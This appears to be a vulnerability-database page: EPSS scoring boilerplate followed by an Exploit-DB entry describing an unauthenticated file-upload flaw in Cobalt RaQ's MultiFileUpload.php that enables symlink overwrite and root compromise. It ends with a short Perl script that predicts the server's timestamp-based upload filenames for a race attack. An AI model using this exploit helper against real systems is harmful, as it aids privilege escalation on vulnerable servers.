EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

EDB Verified : Yes

source: https://www.securityfocus.com/bid/4252/info Cobalt RaQ is a server appliance for Internet-based services. It is distributed and maintained by Sun Microsystems. The 'MultiFileUpload.php' script is not sufficiently protected from outside access. While other sensitive administrative scripts are protected with HTTP authentication, 'MultiFileUpload.php' is not. Remote clients may invoke the execution of this script without valid administrator credentials. In doing so, it is possible for an attacker to upload files that are created on the server filesystem as any user. Furthermore, the uploaded files are stored in '/tmp' with predictable filenames. If the attacker has local access to the system, this vulnerability can be exploited to overwrite a file of equal user and group ownership through the use of a symbolic link. Successful exploitation of this vulnerability by an attacker with local access may result in a compromise of root privileges. Attackers without local access may be able to cause a denial of service through consumption of disk space. #!/usr/bin/perl # mass base64 time encoder # part of Cobalt UIFC XTR remote/local combination attack use MIME::Base64; $evil_time = time(); $exploit_secs = 10; # time in seconds you got to exploit this bug (race) for($i=1;$i<=$exploit_secs; $i++) { $evil_time = $evil_time+1; $evilstr = encode_base64($evil_time); print $evilstr; }
